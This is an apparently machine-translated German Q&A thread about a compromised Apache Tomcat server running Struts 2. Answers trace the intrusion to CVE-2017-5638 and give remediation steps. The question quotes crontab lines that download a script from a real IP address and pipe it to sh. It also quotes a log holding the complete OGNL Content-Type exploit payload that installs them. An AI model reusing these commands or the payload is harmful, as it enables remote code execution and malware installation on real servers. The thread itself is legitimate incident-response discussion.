Shell-Skript-Angriff auf Apache-Server über einen Cron unbekannter Herkunft

8

Während eines Projektkriegs auf dem Apache Tomcat-Server stellte ich fest, dass der Server kompromittiert wurde.

Während des Krieges läuft ein Unbekannter cronso

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Das heruntergeladene logo.jpghat ein Shell-Skript, das eine Malware herunterlädt.

Ich habe ein ähnliches Problem auf dieser Website gefunden

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

und

/security/160068/kworker34-malware-on-linux

Ich kann den Ursprung dieses Cron-Schedulers in meinem gesamten Code nicht finden.

Was möchte ich wissen, dass jemand mit diesem Problem konfrontiert ist? und wie soll ich vorgehen, um den Ursprung des Schedulers im Code zu finden?

Hinweis:

Ich arbeite an einem JAVA (Struts 2) + jsp + javascript + jquery Webprojekt.

Dieser Scheduler wird jedes Mal ausgeführt, wenn ich meinen Tomcat mit der War-Datei des Projekts starte, aber ich kann keinen Scheduler für den Scheduler in meinem Code finden.

Ich habe die folgende Zeile in meinen Protokolldateien gefunden

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 
abhi314
quelle
Haben Sie die Standard-Tomcat-Anmeldungen geändert und den Host-Manager deaktiviert?
Meinen Sie den Ursprung dieser beiden Crontab-Einträge (die Cron-Jobs sind) oder des Cron-Schedulers (manchmal auch Cron-Daemon)? Spawnen Sie Prozesse oder Shell-Skripte aus Ihrer Java-Anwendung (wie Runtime.getRuntime().exec("something"))? Haben Sie einen Link zu Ihrem Projekt?
Jan Zerebecki
Wenn Sie Tomcat ohne die infizierte Java-App starten, ist der Cron aktiviert?
Wie fängst du Tomcat an? Wie stellen Sie die App bereit? (über GUI, Scripting oder einfach nur die .war-Datei in Webapps kopieren?
Ich habe Protokolle meiner Bewerbung hinzugefügt, bitte schauen Sie. Bitte teilen Sie mir alles mit, was Sie zu diesem Thema denken können.

Antworten:

4

Nachdem OP Protokolle hinzugefügt hat, wird deutlich, dass das Problem im Exploit zur Remotecodeausführung für Struts 2 ( CVE-2017-5638 ) liegt.

Einige zusätzliche Links:

  1. Neuer Struts2 Remote Code Execution-Exploit in freier Wildbahn .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

Die Lösung besteht darin, Ihre Struts auf Version 2.3.32 oder 2.5.10.1 zu aktualisieren.

Berserker
quelle
Vielen Dank für Ihre Antwort, aber ich habe meinen Code bereits auf Schlüsselwörter wie "logo.jpg" und "91.230.47.40" überprüft. Sie sind nicht vorhanden. Ich habe Protokolle meiner Bewerbung hinzugefügt, bitte schauen Sie. Bitte teilen Sie mir alles mit, was Sie zu diesem Thema denken können.
2

Ich hatte schon früher ähnliche Probleme, als ich Systemadministrator war. Ich denke, Sie müssen unterscheiden, ob es Ihr Tomcat-Server oder Ihre Java-App ist.

Wenn Sie Tomcat ohne die "infizierte Java-App" starten, wird der Cron aktiviert? (Ich meine, löschen Sie Ihre Anwendung von Tomcat und starten Sie sie.) Wenn dies der Fall ist, müssen Sie die Startskripte und jede auf dem Tomcat-Server bereitgestellte Anwendung überprüfen.

Ansonsten sind wir sicher, dass Ihre App das Problem ist.

Wenn dies der Fall ist, gehen Sie zu:

$CATALINA_BASE/webapps/your_app 

Überprüfen Sie die Integrität Ihrer Anwendung. Gibt es zusätzliche Dateien, die Sie nicht erkennen?

Wechseln Sie nun in das Webapps-Verzeichnis Ihrer Tomcat-Installation:

$CATALINA_BASE/webapps/

Führen Sie in diesem Verzeichnis Folgendes aus:

grep -R '91.230.47.40' *

Um die mögliche Datei / Codezeile zu finden, die die Infektion verursacht, kann es sich um eine Datei Ihrer App oder eine neue handeln.

Haben Sie Ihren Code in einem CSV-System?

Erstellen Sie die Kriegsdatei außerhalb des infizierten Servers aus Ihrem CSV-Repo und führen Sie folgende Schritte aus:

md5sum your_app.war

Entfernen Sie Ihre Anwendung vom Tomcat-Server und stellen Sie sie erneut bereit. Überprüfen Sie, ob Sie den richtigen War über md5 hochladen, und überprüfen Sie dann, ob die Crontab aufgerufen wird.

Wenn Sie Feedback zu diesen Schritten geben, helfe ich Ihnen gerne weiter.

Miguel Ortiz
quelle
1
Ich habe meinen Code bereits auf Schlüsselwörter wie 'logo.jpg' und '91 .230.47.40 'überprüft. Sie sind nicht vorhanden. Die Probleme liegen jedoch bei der Anwendung und nicht beim Tomcat. Ich habe Protokolle meiner Bewerbung hinzugefügt, bitte schauen Sie. Bitte teilen Sie mir alles mit, was Sie zu diesem Thema denken können.
2

Wir mussten diese Art von Angriff nur auf einem Server abwehren, es wurde immer wieder neu gestartet, um crontab für unseren Tomcat-Benutzer zu überschreiben, wie oben beschrieben. Die IP-Adresse war identisch. Grep des gesamten Webapps-Verzeichnisses für die IP-Adresse enthüllte keinen Schuldigen.

In unserem Fall verwenden wir keine Streben, aber wir hatten die Apps "Host-Manager" und "Manager" in Webanwendungen und JMX aktiviert / Port geöffnet. Ein Neustart ohne diese scheint sich gelöst zu haben, daher habe ich die Vermutung, dass die Sicherheitsanfälligkeit in einer dieser Situationen liegt. Insbesondere wurde in 7.0.73 eine JMX-Sicherheitsanfälligkeit behoben, die möglicherweise unser Schuldiger ist ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Eine weitere Vorsichtsmaßnahme, die wir jetzt treffen, besteht darin, den Zugriff auf wget und chmod nur auf root zu beschränken (führen Sie einfach chmod 770 auf diesen Binärdateien aus).

Jacob
quelle